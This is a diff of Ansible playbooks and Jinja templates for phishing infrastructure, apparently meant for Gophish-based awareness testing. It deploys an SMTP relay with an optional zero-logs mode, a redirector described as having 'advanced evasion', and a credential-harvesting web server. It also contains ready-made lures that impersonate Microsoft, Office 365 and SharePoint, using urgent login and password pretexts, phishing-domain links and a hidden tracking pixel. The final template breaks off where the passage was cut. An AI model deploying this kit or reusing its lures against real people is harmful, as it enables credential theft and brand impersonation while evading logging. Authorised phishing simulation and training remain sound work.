inet_protocols = ipv4
|
||||
|
||||
# Network settings
|
||||
mynetworks = 127.0.0.0/8 {{ gophish_server_ip }}/32 {{ mta_allowed_ips | default([]) | join(' ') }}
|
||||
relay_domains = $mydestination
|
||||
|
||||
# SMTP smuggling mitigation
|
||||
smtpd_forbid_bare_newline = yes
|
||||
smtpd_forbid_bare_newline_reject_code = 550
|
||||
|
||||
# TLS Configuration
|
||||
smtpd_tls_cert_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/fullchain.pem
|
||||
smtpd_tls_key_file = /etc/letsencrypt/live/{{ mta_hostname | default('mail.' + domain) }}/privkey.pem
|
||||
smtpd_use_tls = yes
|
||||
smtpd_tls_security_level = may
|
||||
smtpd_tls_protocols = !SSLv2, !SSLv3, !TLSv1, !TLSv1.1
|
||||
smtp_tls_security_level = may
|
||||
|
||||
# SASL Authentication
|
||||
smtpd_sasl_auth_enable = yes
|
||||
smtpd_sasl_type = dovecot
|
||||
smtpd_sasl_path = private/auth
|
||||
smtpd_sasl_security_options = noanonymous
|
||||
smtpd_sasl_authenticated_header = yes
|
||||
|
||||
# Restrictions
|
||||
smtpd_helo_required = yes
|
||||
smtpd_recipient_restrictions =
|
||||
permit_mynetworks,
|
||||
permit_sasl_authenticated,
|
||||
reject_unauth_destination,
|
||||
reject_unauth_pipelining,
|
||||
reject_invalid_helo_hostname,
|
||||
reject_non_fqdn_helo_hostname
|
||||
|
||||
# Rate limiting
|
||||
smtpd_client_connection_rate_limit = {{ rate_limit_connections | default(100) }}
|
||||
smtpd_client_message_rate_limit = {{ rate_limit_messages | default(100) }}
|
||||
|
||||
# Message size and queue settings
|
||||
message_size_limit = {{ max_message_size | default(10240000) }}
|
||||
mailbox_size_limit = 0
|
||||
queue_lifetime = 1h
|
||||
maximal_queue_lifetime = 1h
|
||||
bounce_queue_lifetime = 0
|
||||
|
||||
# Header modifications
|
||||
header_checks = regexp:/etc/postfix/header_checks
|
||||
|
||||
# DKIM signing
|
||||
milter_default_action = accept
|
||||
milter_protocol = 6
|
||||
smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||
non_smtpd_milters = unix:/var/spool/postfix/opendkim/opendkim.sock
|
||||
|
||||
# Logging
|
||||
{% if zero_logs | default(true) %}
|
||||
# Zero-logs configuration
|
||||
syslog_facility = local0
|
||||
syslog_name =
|
||||
maillog_file = /dev/null
|
||||
{% endif %}
|
||||
@@ -0,0 +1,51 @@
|
||||
---
|
||||
# MTA Front server deployment for email relay and SMTP smuggling
|
||||
|
||||
- name: Deploy MTA Front server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
mta_instance_type: "{{ mta_instance_type | default('t3.medium') }}"
|
||||
mta_region: "{{ mta_region | default(aws_region) }}"
|
||||
|
||||
tasks:
|
||||
- name: Create MTA Front instance
|
||||
include_tasks: "../tasks/create_instance.yml"
|
||||
vars:
|
||||
instance_name: "{{ server_name }}"
|
||||
instance_type: "{{ mta_instance_type }}"
|
||||
region: "{{ mta_region }}"
|
||||
security_group_rules:
|
||||
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
|
||||
- { proto: tcp, port: 25, cidr: "0.0.0.0/0", desc: "SMTP from anywhere" }
|
||||
- { proto: tcp, port: 587, cidr: "0.0.0.0/0", desc: "SMTP submission" }
|
||||
- { proto: tcp, port: 465, cidr: "0.0.0.0/0", desc: "SMTPS" }
|
||||
|
||||
- name: Add MTA Front to inventory
|
||||
add_host:
|
||||
name: "mta_front"
|
||||
groups: "mta_fronts"
|
||||
ansible_host: "{{ instance_ip }}"
|
||||
ansible_user: "{{ ansible_user | default('ubuntu') }}"
|
||||
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
|
||||
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
|
||||
|
||||
- name: Configure MTA Front server
|
||||
hosts: mta_fronts
|
||||
become: true
|
||||
gather_facts: true
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
tasks:
|
||||
- name: Include MTA Front configuration
|
||||
include_tasks: "../tasks/configure_mta_front.yml"
|
||||
|
||||
- name: Include security hardening
|
||||
include_tasks: "../tasks/security_hardening.yml"
|
||||
|
||||
- name: Include tracker setup
|
||||
include_tasks: "../tasks/configure_integrated_tracker.yml"
|
||||
when: deploy_tracker | default(true) | bool
|
||||
@@ -0,0 +1,46 @@
|
||||
---
|
||||
# Phishing redirector deployment with advanced evasion
|
||||
|
||||
- name: Deploy phishing redirector
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
redirector_instance_type: "{{ redirector_instance_type | default('t3.small') }}"
|
||||
redirector_region: "{{ redirector_region | default(aws_region) }}"
|
||||
|
||||
tasks:
|
||||
- name: Create phishing redirector instance
|
||||
include_tasks: "../tasks/create_instance.yml"
|
||||
vars:
|
||||
instance_name: "{{ server_name }}"
|
||||
instance_type: "{{ redirector_instance_type }}"
|
||||
region: "{{ redirector_region }}"
|
||||
security_group_rules:
|
||||
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
|
||||
- { proto: tcp, port: 80, cidr: "0.0.0.0/0", desc: "HTTP from anywhere" }
|
||||
- { proto: tcp, port: 443, cidr: "0.0.0.0/0", desc: "HTTPS from anywhere" }
|
||||
|
||||
- name: Add phishing redirector to inventory
|
||||
add_host:
|
||||
name: "phishing_redirector"
|
||||
groups: "phishing_redirectors"
|
||||
ansible_host: "{{ instance_ip }}"
|
||||
ansible_user: "{{ ansible_user | default('ubuntu') }}"
|
||||
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
|
||||
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
|
||||
|
||||
- name: Configure phishing redirector
|
||||
hosts: phishing_redirectors
|
||||
become: true
|
||||
gather_facts: true
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
tasks:
|
||||
- name: Include phishing redirector configuration
|
||||
include_tasks: "../tasks/configure_phishing_redirector.yml"
|
||||
|
||||
- name: Include security hardening
|
||||
include_tasks: "../tasks/security_hardening.yml"
|
||||
@@ -0,0 +1,50 @@
|
||||
---
|
||||
# Phishing web server for credential harvesting
|
||||
|
||||
- name: Deploy phishing web server
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
webserver_instance_type: "{{ webserver_instance_type | default('t3.medium') }}"
|
||||
webserver_region: "{{ webserver_region | default(aws_region) }}"
|
||||
|
||||
tasks:
|
||||
- name: Create phishing web server instance
|
||||
include_tasks: "../tasks/create_instance.yml"
|
||||
vars:
|
||||
instance_name: "{{ server_name }}"
|
||||
instance_type: "{{ webserver_instance_type }}"
|
||||
region: "{{ webserver_region }}"
|
||||
security_group_rules:
|
||||
- { proto: tcp, port: 22, cidr: "{{ operator_ip }}/32", desc: "SSH from operator" }
|
||||
- { proto: tcp, port: 80, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTP from redirector" }
|
||||
- { proto: tcp, port: 443, cidr: "{{ phishing_redirector_ip | default('10.0.0.0/8') }}/32", desc: "HTTPS from redirector" }
|
||||
|
||||
- name: Add phishing web server to inventory
|
||||
add_host:
|
||||
name: "phishing_webserver"
|
||||
groups: "phishing_webservers"
|
||||
ansible_host: "{{ instance_ip }}"
|
||||
ansible_user: "{{ ansible_user | default('ubuntu') }}"
|
||||
ansible_ssh_private_key_file: "{{ ssh_key_path }}"
|
||||
ansible_ssh_common_args: "-o StrictHostKeyChecking=no"
|
||||
|
||||
- name: Configure phishing web server
|
||||
hosts: phishing_webservers
|
||||
become: true
|
||||
gather_facts: true
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
tasks:
|
||||
- name: Include phishing web server configuration
|
||||
include_tasks: "../tasks/configure_phishing_webserver.yml"
|
||||
|
||||
- name: Include security hardening
|
||||
include_tasks: "../tasks/security_hardening.yml"
|
||||
|
||||
- name: Include tracker setup
|
||||
include_tasks: "../tasks/configure_integrated_tracker.yml"
|
||||
when: deploy_tracker | default(true) | bool
|
||||
@@ -0,0 +1,111 @@
|
||||
---
|
||||
# FedRAMP compliance configuration for user awareness testing
|
||||
|
||||
- name: Create FedRAMP compliant landing pages
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
with_items:
|
||||
- { src: "../templates/fedramp-success-page.html.j2", dest: "/var/www/phishing/fedramp-success.html" }
|
||||
- { src: "../templates/fedramp-education-page.html.j2", dest: "/var/www/phishing/fedramp-education.html" }
|
||||
- { src: "../templates/fedramp-training-materials.html.j2", dest: "/var/www/phishing/training.html" }
|
||||
|
||||
- name: Create FedRAMP compliant email templates
|
||||
template:
|
||||
src: "{{ item.src }}"
|
||||
dest: "{{ item.dest }}"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- { src: "../templates/fedramp-email-template.html.j2", dest: "/root/Tools/phishing/templates/fedramp-email.html" }
|
||||
- { src: "../templates/fedramp-notification-email.html.j2", dest: "/root/Tools/phishing/templates/fedramp-notification.html" }
|
||||
|
||||
- name: Configure anonymized reporting
|
||||
template:
|
||||
src: "../templates/fedramp-reporting.py.j2"
|
||||
dest: "/root/Tools/phishing/fedramp-reporting.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create role-based tracking system
|
||||
template:
|
||||
src: "../templates/role-tracking.py.j2"
|
||||
dest: "/root/Tools/phishing/role-tracking.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Set up immediate phish identification
|
||||
template:
|
||||
src: "../templates/immediate-identification.js.j2"
|
||||
dest: "/var/www/phishing/assets/immediate-identification.js"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Create educational content delivery system
|
||||
template:
|
||||
src: "../templates/education-delivery.php.j2"
|
||||
dest: "/var/www/phishing/api/education.php"
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Configure compliance database schema
|
||||
shell: |
|
||||
sqlite3 /root/Tools/phishing/compliance.db << EOF
|
||||
CREATE TABLE IF NOT EXISTS fedramp_campaigns (
|
||||
id TEXT PRIMARY KEY,
|
||||
name TEXT NOT NULL,
|
||||
csp_organization TEXT NOT NULL,
|
||||
created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
status TEXT DEFAULT 'active'
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS role_interactions (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
user_role TEXT NOT NULL,
|
||||
interaction_type TEXT NOT NULL,
|
||||
interaction_time DATETIME DEFAULT CURRENT_TIMESTAMP,
|
||||
education_completed BOOLEAN DEFAULT FALSE
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS compliance_metrics (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
campaign_id TEXT NOT NULL,
|
||||
metric_type TEXT NOT NULL,
|
||||
metric_value INTEGER NOT NULL,
|
||||
recorded_at DATETIME DEFAULT CURRENT_TIMESTAMP
|
||||
);
|
||||
EOF
|
||||
args:
|
||||
creates: /root/Tools/phishing/compliance.db
|
||||
|
||||
- name: Set database permissions for compliance
|
||||
file:
|
||||
path: /root/Tools/phishing/compliance.db
|
||||
owner: www-data
|
||||
group: www-data
|
||||
mode: '0644'
|
||||
|
||||
- name: Create compliance report generator
|
||||
template:
|
||||
src: "../templates/compliance-report-generator.py.j2"
|
||||
dest: "/root/Tools/phishing/generate-compliance-report.py"
|
||||
mode: '0755'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure email allowlisting instructions
|
||||
template:
|
||||
src: "../templates/allowlist-instructions.md.j2"
|
||||
dest: "/root/Tools/phishing/ALLOWLIST_INSTRUCTIONS.md"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
@@ -0,0 +1,118 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Document Shared</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="padding: 20px; border-bottom: 1px solid #edebe9;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td>
|
||||
<img src="{{ sharepoint_logo | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTIwIiBoZWlnaHQ9IjMwIj48dGV4dCB4PSIwIiB5PSIyNSIgZm9udC1mYW1pbHk9IlNlZ29lIFVJIiBmb250LXNpemU9IjIwIiBmaWxsPSIjMDM3ODkzIj5TaGFyZVBvaW50PC90ZXh0Pjwvc3ZnPg==') }}" alt="SharePoint" style="height: 30px;">
|
||||
</td>
|
||||
<td align="right">
|
||||
<span style="color: #605e5c; font-size: 14px;">{{ share_date | default('{{.ShareDate}}') }}</span>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">{{ sender_name | default('{{.SenderName}}') }} shared a file with you</h2>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Hi {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
{{ sender_name | default('{{.SenderName}}') }} has shared "{{ document_name | default('{{.DocumentName}}') }}" with you on SharePoint.
|
||||
</p>
|
||||
|
||||
<!-- File Preview -->
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="border: 1px solid #edebe9; border-radius: 4px; margin: 0 0 30px;">
|
||||
<tr>
|
||||
<td style="padding: 20px;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td style="width: 48px; padding-right: 15px; vertical-align: top;">
|
||||
<img src="{{ file_icon | default('data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDgiIGhlaWdodD0iNDgiIGZpbGw9IiMxODVhYmQiPjxyZWN0IHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgcng9IjQiLz48dGV4dCB4PSIyNCIgeT0iMzAiIHRleHQtYW5jaG9yPSJtaWRkbGUiIGZpbGw9IndoaXRlIiBmb250LXNpemU9IjE2Ij5ET0M8L3RleHQ+PC9zdmc+') }}" alt="Document" style="width: 48px; height: 48px;">
|
||||
</td>
|
||||
<td>
|
||||
<h3 style="color: #323130; font-size: 16px; margin: 0 0 5px;">{{ document_name | default('{{.DocumentName}}') }}</h3>
|
||||
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||
{{ file_type | default('{{.FileType}}') }} • {{ file_size | default('{{.FileSize}}') }}
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<!-- Sender Message -->
|
||||
{% if include_message | default(true) %}
|
||||
<div style="background-color: #f8f8f8; border-left: 4px solid #0078d4; padding: 15px; margin: 0 0 30px;">
|
||||
<p style="color: #323130; font-size: 14px; margin: 0 0 5px;"><strong>Message from {{ sender_name | default('{{.SenderName}}') }}:</strong></p>
|
||||
<p style="color: #605e5c; font-size: 14px; margin: 0;">
|
||||
{{ sender_message | default('Please review the attached document and let me know if you have any questions.') }}
|
||||
</p>
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Open in SharePoint
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #a19f9d; font-size: 12px; line-height: 18px; margin: 30px 0 0; text-align: center;">
|
||||
This link will expire in {{ expiry_days | default('7') }} days.<br>
|
||||
Only people with the link can access this file.
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0 0 10px;">
|
||||
Get the SharePoint mobile app
|
||||
</p>
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="padding: 0 5px;">
|
||||
<a href="#"><img src="{{ app_store_badge | default('https://cdn.example.com/app-store.png') }}" alt="Download on App Store" style="height: 40px;"></a>
|
||||
</td>
|
||||
<td style="padding: 0 5px;">
|
||||
<a href="#"><img src="{{ play_store_badge | default('https://cdn.example.com/google-play.png') }}" alt="Get it on Google Play" style="height: 40px;"></a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
<p style="color: #a19f9d; font-size: 11px; margin: 15px 0 0;">
|
||||
© {{ current_year | default('2025') }} Microsoft Corporation. All rights reserved.<br>
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Privacy Statement</a> |
|
||||
<a href="#" style="color: #0078d4; text-decoration: none;">Terms of Use</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,51 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Microsoft Office 365 - Sign-in Required</title>
|
||||
<style>
|
||||
body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; margin: 0; padding: 20px; background-color: #f3f2f1; }
|
||||
.container { max-width: 600px; margin: 0 auto; background: white; border-radius: 2px; overflow: hidden; }
|
||||
.header { background: #0078d4; padding: 20px; color: white; }
|
||||
.content { padding: 30px; line-height: 1.6; }
|
||||
.button { display: inline-block; background: #0078d4; color: white; padding: 12px 24px; text-decoration: none; border-radius: 2px; margin: 20px 0; }
|
||||
.footer { background: #f8f8f8; padding: 20px; font-size: 12px; color: #666; }
|
||||
.urgent { color: #d13438; font-weight: bold; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="header">
|
||||
<h2>Microsoft Office 365</h2>
|
||||
</div>
|
||||
<div class="content">
|
||||
<p>Hello {{ first_name | default('User') }},</p>
|
||||
|
||||
<p class="urgent">ACTION REQUIRED: Your Office 365 session has expired</p>
|
||||
|
||||
<p>We've detected that your Office 365 session for <strong>{{ email }}</strong> has expired due to security policy updates. To continue accessing your email and documents, please sign in again within the next 24 hours.</p>
|
||||
|
||||
<p>If you don't verify your account within this timeframe, access to your Office 365 services will be temporarily suspended for security reasons.</p>
|
||||
|
||||
<center>
|
||||
<a href="https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email" class="button">Sign In to Office 365</a>
|
||||
</center>
|
||||
|
||||
<p><small>If you're unable to click the button above, copy and paste this link into your browser:<br>
|
||||
https://{{ phishing_subdomain }}.{{ phishing_domain }}/login?user={{ email | urlencode }}&ref=email</small></p>
|
||||
|
||||
<p>Thank you for your cooperation in keeping your account secure.</p>
|
||||
|
||||
<p>Best regards,<br>
|
||||
Microsoft Account Security Team</p>
|
||||
</div>
|
||||
<div class="footer">
|
||||
<p>Microsoft Corporation | One Microsoft Way | Redmond, WA 98052</p>
|
||||
<p>This message was sent to {{ email }}. If you don't want to receive these emails, you can <a href="#">unsubscribe</a>.</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Tracking pixel -->
|
||||
<img src="https://{{ phishing_subdomain }}.{{ phishing_domain }}/px/{{ tracking_id }}.png" width="1" height="1" style="display:none;">
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,95 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Password Expiration Notice</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||
<img src="{{ logo_url | default('https://cdn.example.com/logo.png') }}" alt="IT Department" style="height: 40px;">
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Warning Banner -->
|
||||
<tr>
|
||||
<td style="background-color: #fff4ce; padding: 15px; border-left: 4px solid #ffb900;">
|
||||
<table cellpadding="0" cellspacing="0" border="0">
|
||||
<tr>
|
||||
<td style="padding-right: 10px;">
|
||||
<img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMjQiIGhlaWdodD0iMjQiIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI2ZmYjkwMCI+PHBhdGggZD0iTTEyIDJDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTEgMTVoLTJ2LTJoMnYyem0wLTRoLTJWN2gydjZ6Ii8+PC9zdmc+" alt="Warning" style="width: 24px; height: 24px;">
|
||||
</td>
|
||||
<td>
|
||||
<strong style="color: #323130; font-size: 16px;">Action Required: Password Expires in {{ days_until_expiry | default('3') }} Days</strong>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #323130; font-size: 24px; margin: 0 0 20px;">Your Password is About to Expire</h2>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Hello {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Our records indicate that your {{ organization | default('organization') }} password will expire on <strong>{{ expiry_date | default('{{.ExpiryDate}}') }}</strong>.
|
||||
To prevent any interruption to your access, please update your password before it expires.
|
||||
</p>
|
||||
|
||||
<p style="color: #605e5c; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
Password requirements:
|
||||
</p>
|
||||
|
||||
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 0 0 30px; padding-left: 20px;">
|
||||
<li>Minimum 12 characters</li>
|
||||
<li>At least one uppercase letter</li>
|
||||
<li>At least one lowercase letter</li>
|
||||
<li>At least one number</li>
|
||||
<li>At least one special character</li>
|
||||
<li>Cannot be the same as your last 5 passwords</li>
|
||||
</ul>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #0078d4; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Update Password Now
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #a19f9d; font-size: 14px; line-height: 20px; margin: 30px 0 0; text-align: center;">
|
||||
If you're unable to click the button above, copy and paste this link into your browser:<br>
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #0078d4; word-break: break-all;">{{ "{{.URL}}" }}</a>
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
<p style="color: #a19f9d; font-size: 12px; margin: 0;">
|
||||
This is an automated message from {{ organization | default('IT Department') }}.<br>
|
||||
Please do not reply to this email.<br>
|
||||
For assistance, contact the help desk at {{ support_email | default('support@example.com') }}
|
||||
</p>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,103 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>Security Alert</title>
|
||||
</head>
|
||||
<body style="margin: 0; padding: 0; font-family: 'Segoe UI', Arial, sans-serif; background-color: #f4f4f4;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f4f4f4; padding: 20px 0;">
|
||||
<tr>
|
||||
<td align="center">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="600" style="background-color: #ffffff; border-radius: 4px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
|
||||
<!-- Header -->
|
||||
<tr>
|
||||
<td style="background-color: #d13438; padding: 20px; text-align: center; border-radius: 4px 4px 0 0;">
|
||||
<h1 style="color: #ffffff; font-size: 24px; margin: 0;">⚠️ Security Alert</h1>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Content -->
|
||||
<tr>
|
||||
<td style="padding: 30px;">
|
||||
<h2 style="color: #d13438; font-size: 20px; margin: 0 0 20px;">Suspicious Activity Detected</h2>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
Dear {{ "{{.FirstName}}" }},
|
||||
</p>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 20px;">
|
||||
We detected unusual sign-in activity on your account:
|
||||
</p>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%" style="background-color: #f8f8f8; border-radius: 4px; margin: 0 0 20px;">
|
||||
<tr>
|
||||
<td style="padding: 20px;">
|
||||
<table cellpadding="0" cellspacing="0" border="0" width="100%">
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Date & Time:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ detection_time | default('{{.DetectionTime}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Location:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ location | default('{{.Location}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>IP Address:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ ip_address | default('{{.IPAddress}}') }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<td style="color: #605e5c; font-size: 14px; padding: 5px 0;"><strong>Device:</strong></td>
|
||||
<td style="color: #323130; font-size: 14px; padding: 5px 0;">{{ device | default('{{.Device}}') }}</td>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #323130; font-size: 16px; line-height: 24px; margin: 0 0 30px;">
|
||||
<strong>If this was you:</strong> You can safely ignore this email.<br>
|
||||
<strong>If this wasn't you:</strong> Your account may be compromised. Secure it immediately.
|
||||
</p>
|
||||
|
||||
<table cellpadding="0" cellspacing="0" border="0" style="margin: 0 auto;">
|
||||
<tr>
|
||||
<td style="background-color: #d13438; border-radius: 4px; padding: 12px 24px;">
|
||||
<a href="{{ "{{.URL}}" }}" style="color: #ffffff; text-decoration: none; font-size: 16px; font-weight: 600; display: block;">
|
||||
Secure My Account
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
<p style="color: #605e5c; font-size: 14px; line-height: 20px; margin: 30px 0 0;">
|
||||
<strong>What happens next?</strong><br>
|
||||
We'll guide you through securing your account, including:
|
||||
</p>
|
||||
|
||||
<ul style="color: #605e5c; font-size: 14px; line-height: 22px; margin: 10px 0 0; padding-left: 20px;">
|
||||
<li>Verifying your identity</li>
|
||||
<li>Reviewing recent account activity</li>
|
||||
<li>Updating your password</li>
|
||||
<li>Enabling additional security measures</li>
|
||||
</ul>
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<!-- Footer -->
|
||||
<tr>
|
||||
<td style="background-color: #f8f8f8; padding: 20px; text-align: center; border-radius: 0 0 4px 4px;">
|
||||
